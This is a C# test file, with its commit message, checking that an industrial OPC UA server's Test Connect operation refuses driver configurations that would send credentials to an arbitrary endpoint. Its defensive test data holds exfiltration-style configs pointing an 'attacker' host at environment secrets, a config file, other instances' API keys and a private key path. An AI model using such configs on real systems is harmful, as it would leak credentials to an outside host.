Files
lmxopcua/tests/Server/ZB.MOM.WW.OtOpcUa.ControlPlane.Tests/AdminOperationsActorCredentialScopeTests.cs
T
Joseph Doherty 4a6229e4d2 fix(security): env: credential references follow the per-instance rule (#849)
env:<PREFIX><INSTANCE>_... is the per-instance convention for every prefix of a
driver's scope (OTOPCUA_GALAXY_, GALAXY_MXGW_, OTOPCUA_OPCUACLIENT_,
OTOPCUA_HEIDENHAIN_), INSTANCE = a driver id or name upper-cased with every other
character as '_'. A variable whose part after the prefix equals or starts with
(at a '_' boundary) ANOTHER same-type instance's id or name is refused with
CredentialReferenceOtherInstance at save, deploy, Test Connect and browse - the
same DriverCredentialPolicy.DescribeOtherInstanceProblems the secret: rule uses
(now over CollectInstanceReferences / ReferenceNames). Another-instance matches
win over the owner's, as for secrets. Shared variables that name no instance
(GALAXY_MXGW_API_KEY) keep working. HasInstanceSegments now also gates on env:,
so an env:-only browse needs the ConfigDb (fail-closed without it).

Co-Authored-By: Claude <noreply@anthropic.com>
2026-11-11 06:24:47 -05:00

205 lines
10 KiB
C#

using Akka.Actor;
using Shouldly;
using Xunit;
using ZB.MOM.WW.OtOpcUa.Commons.Messages.Admin;
using ZB.MOM.WW.OtOpcUa.ControlPlane.AdminOperations;
using ZB.MOM.WW.OtOpcUa.ControlPlane.Tests.Harness;
using ZB.MOM.WW.OtOpcUa.Core.Abstractions;
namespace ZB.MOM.WW.OtOpcUa.ControlPlane.Tests;
/// <summary>
/// lmxopcua#815: Test Connect with a credential reference outside the driver's namespace is refused BEFORE any
/// probe runs — the probe is the seam that would resolve the reference (store / environment) and send the value
/// to the author-chosen endpoint, so "the probe was never invoked" is "nothing was read".
/// </summary>
public sealed class AdminOperationsActorCredentialScopeTests : ControlPlaneActorTestBase
{
[Theory]
[InlineData(DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"env:ConnectionStrings__ConfigDb"}}""")]
[InlineData(DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"env:MX_API_KEY"}}""")]
[InlineData(DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"env:ServerHistorian__ApiKey"}}""")]
[InlineData(DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"file:appsettings.json"}}""")]
[InlineData(DriverTypeNames.OpcUaClient, """{"EndpointUrl":"opc.tcp://attacker:4840","Password":"secret:otopcua/historian/api-key"}""")]
[InlineData(DriverTypeNames.Heidenhain, """{"Access":{"InspectPassword":"secret:galaxy/main/apikey"},"Devices":[{"Host":"attacker"}]}""")]
public void Out_of_namespace_reference_never_reaches_the_probe(string driverType, string config)
{
var probe = new RecordingProbe(driverType);
var actor = Sys.ActorOf(AdminOperationsActor.Props(NewInMemoryDbFactory(), CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
actor.Tell(new TestDriverConnect(driverType, config, 5, Guid.NewGuid()));
var reply = ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken);
reply.Ok.ShouldBeFalse();
reply.Message.ShouldNotBeNull().ShouldContain("Test Connect refused");
reply.Message.ShouldContain("lmxopcua#815");
probe.Calls.ShouldBe(0);
}
/// <summary>Positive control: a namespaced reference does reach the probe (the refusal is not blanket).</summary>
[Fact]
public void A_namespaced_reference_reaches_the_probe()
{
var probe = new RecordingProbe(DriverTypeNames.Galaxy);
var actor = Sys.ActorOf(AdminOperationsActor.Props(NewInMemoryDbFactory(), CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
actor.Tell(new TestDriverConnect(
DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://gw:5001","ApiKeySecretRef":"secret:galaxy/main/apikey"}}""", 5, Guid.NewGuid()));
ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken).Ok.ShouldBeTrue();
probe.Calls.ShouldBe(1);
}
/// <summary>
/// lmxopcua#835: a reference naming ANOTHER instance's secret never reaches the probe, whether the caller names
/// its own driver or not (a null owner — a not-yet-created driver — is the stricter case).
/// </summary>
[Theory]
[InlineData("DRV-evil")]
[InlineData(null)]
public void A_reference_naming_another_instances_secret_never_reaches_the_probe(string? ownerId)
{
var dbName = Guid.NewGuid().ToString("N");
var factory = NewInMemoryDbFactory(dbName);
SeedGalaxyDrivers(factory);
var probe = new RecordingProbe(DriverTypeNames.Galaxy);
var actor = Sys.ActorOf(AdminOperationsActor.Props(factory, CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
actor.Tell(new TestDriverConnect(
DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"secret:galaxy/Victim/apikey"}}""",
5, Guid.NewGuid(), ownerId));
var reply = ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken);
reply.Ok.ShouldBeFalse();
reply.Message.ShouldNotBeNull().ShouldContain("Test Connect refused");
reply.Message.ShouldContain("lmxopcua#835");
probe.Calls.ShouldBe(0);
}
/// <summary>lmxopcua#849: an env: reference named after ANOTHER instance never reaches the probe either.</summary>
[Theory]
[InlineData("env:OTOPCUA_GALAXY_VICTIM_API_KEY")]
[InlineData("env:GALAXY_MXGW_DRV_VICTIM_KEY")]
public void An_env_reference_naming_another_instance_never_reaches_the_probe(string reference)
{
var factory = NewInMemoryDbFactory();
SeedGalaxyDrivers(factory);
var probe = new RecordingProbe(DriverTypeNames.Galaxy);
var actor = Sys.ActorOf(AdminOperationsActor.Props(factory, CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
actor.Tell(new TestDriverConnect(
DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"REF"}}""".Replace("REF", reference),
5, Guid.NewGuid(), "DRV-evil"));
var reply = ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken);
reply.Ok.ShouldBeFalse();
reply.Message.ShouldNotBeNull().ShouldContain("lmxopcua#849");
probe.Calls.ShouldBe(0);
}
/// <summary>Positive control: a shared env variable naming no instance reaches the probe.</summary>
[Fact]
public void A_shared_env_variable_reaches_the_probe()
{
var factory = NewInMemoryDbFactory();
SeedGalaxyDrivers(factory);
var probe = new RecordingProbe(DriverTypeNames.Galaxy);
var actor = Sys.ActorOf(AdminOperationsActor.Props(factory, CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
actor.Tell(new TestDriverConnect(
DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"env:GALAXY_MXGW_API_KEY"}}""",
5, Guid.NewGuid()));
ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken).Ok.ShouldBeTrue();
probe.Calls.ShouldBe(1);
}
/// <summary>Positive control: the owner's own secret (and a shared one) does reach the probe.</summary>
[Theory]
[InlineData("secret:galaxy/DRV-victim/apikey")]
[InlineData("secret:galaxy/shared-gw/apikey")]
public void The_owners_own_or_a_shared_secret_reaches_the_probe(string reference)
{
var factory = NewInMemoryDbFactory();
SeedGalaxyDrivers(factory);
var probe = new RecordingProbe(DriverTypeNames.Galaxy);
var actor = Sys.ActorOf(AdminOperationsActor.Props(factory, CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
actor.Tell(new TestDriverConnect(
DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://gw:5001","ApiKeySecretRef":"REF"}}""".Replace("REF", reference),
5, Guid.NewGuid(), "DRV-victim"));
ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken).Ok.ShouldBeTrue();
probe.Calls.ShouldBe(1);
}
/// <summary>
/// #835 review I-1: Test Connect from the victim's OWN device modal with an unsaved endpoint (the modal merges the
/// stored DriverConfig with the typed device config) must not send the victim's own secret to that endpoint.
/// </summary>
[Fact]
public void An_unsaved_endpoint_cannot_use_the_named_owners_own_secret()
{
var factory = NewInMemoryDbFactory();
SeedGalaxyDrivers(factory);
var probe = new RecordingProbe(DriverTypeNames.Galaxy);
var actor = Sys.ActorOf(AdminOperationsActor.Props(factory, CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
actor.Tell(new TestDriverConnect(
DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"secret:galaxy/DRV-victim/apikey"}}""",
5, Guid.NewGuid(), "DRV-victim"));
var reply = ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken);
reply.Ok.ShouldBeFalse();
reply.Message.ShouldNotBeNull().ShouldContain("save the change first");
probe.Calls.ShouldBe(0);
}
/// <summary>lmxopcua#836: an absolute OpcUaClient user-certificate path never reaches the probe.</summary>
[Fact]
public void An_absolute_user_certificate_path_never_reaches_the_probe()
{
var probe = new RecordingProbe(DriverTypeNames.OpcUaClient);
var actor = Sys.ActorOf(AdminOperationsActor.Props(NewInMemoryDbFactory(), CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
actor.Tell(new TestDriverConnect(
DriverTypeNames.OpcUaClient,
"""{"EndpointUrl":"opc.tcp://attacker:4840","AuthType":"Certificate","UserCertificatePath":"/etc/ssl/private/host.pfx"}""",
5, Guid.NewGuid()));
var reply = ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken);
reply.Ok.ShouldBeFalse();
reply.Message.ShouldNotBeNull().ShouldContain("lmxopcua#836");
probe.Calls.ShouldBe(0);
}
private static void SeedGalaxyDrivers(Microsoft.EntityFrameworkCore.IDbContextFactory<ZB.MOM.WW.OtOpcUa.Configuration.OtOpcUaConfigDbContext> factory)
{
using var db = factory.CreateDbContext();
db.DriverInstances.Add(new ZB.MOM.WW.OtOpcUa.Configuration.Entities.DriverInstance
{
DriverInstanceId = "DRV-victim", ClusterId = "c", Name = "Victim", DriverType = DriverTypeNames.Galaxy, DriverConfig = """{"Gateway":{"Endpoint":"http://gw:5001"}}""",
});
db.DriverInstances.Add(new ZB.MOM.WW.OtOpcUa.Configuration.Entities.DriverInstance
{
DriverInstanceId = "DRV-evil", ClusterId = "c", Name = "Evil", DriverType = DriverTypeNames.Galaxy, DriverConfig = "{}",
});
db.SaveChanges();
}
private sealed class RecordingProbe(string driverType) : IDriverProbe
{
private int _calls;
public int Calls => Volatile.Read(ref _calls);
public string DriverType => driverType;
public Task<DriverProbeResult> ProbeAsync(string configJson, TimeSpan timeout, CancellationToken ct)
{
Interlocked.Increment(ref _calls);
return Task.FromResult(new DriverProbeResult(true, null, TimeSpan.Zero));
}
}
}